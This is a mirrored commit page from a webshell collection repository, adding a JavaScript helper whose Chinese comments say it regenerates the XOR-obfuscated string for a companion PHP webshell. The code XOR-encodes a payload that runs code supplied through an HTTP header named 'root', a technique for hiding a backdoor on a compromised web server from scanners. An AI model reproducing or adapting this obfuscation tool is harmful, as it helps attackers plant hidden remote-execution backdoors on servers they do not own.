mirror of
https://github.com/tennc/webshell
synced 2024-11-21 18:53:03 +00:00
Create 2023-04-08.js
2023-04-08.php 的密文 二次生成版本
This commit is contained in:
parent
a0960dbc8c
commit
9c35c31c1a
1 changed files with 19 additions and 0 deletions
19
php/2023-04-08.js
Normal file
19
php/2023-04-08.js
Normal file
|
@ -0,0 +1,19 @@
|
||||||
|
// 此代码为2023-04-08.php 里的二次生成密文版,只需要替换异或的第一部分字符串就好了
|
||||||
|
// 感谢群友的无私奉献,我就直接拿来放到这里了
|
||||||
|
|
||||||
|
function xorDecrypt(cipherText, key) {
|
||||||
|
let plainText = '';
|
||||||
|
for (let i = 0; i < cipherText.length; i++) {
|
||||||
|
let cipherCharCode = cipherText.charCodeAt(i);
|
||||||
|
let keyCharCode = key.charCodeAt(i % key.length);
|
||||||
|
let plainCharCode = cipherCharCode ^ keyCharCode;
|
||||||
|
plainText += String.fromCharCode(plainCharCode);
|
||||||
|
}
|
||||||
|
return plainText;
|
||||||
|
}
|
||||||
|
|
||||||
|
let cipherText = "$c(getallheaders()['root'])";
|
||||||
|
// cipherText 可以修改起里面获取的内容
|
||||||
|
let key = String.raw`t?~KI\OB)+8"X(A6K|{L5L&J]kf~`;
|
||||||
|
let plainText = xorDecrypt(cipherText, key);
|
||||||
|
console.log(plainText);
|
Loading…
Reference in a new issue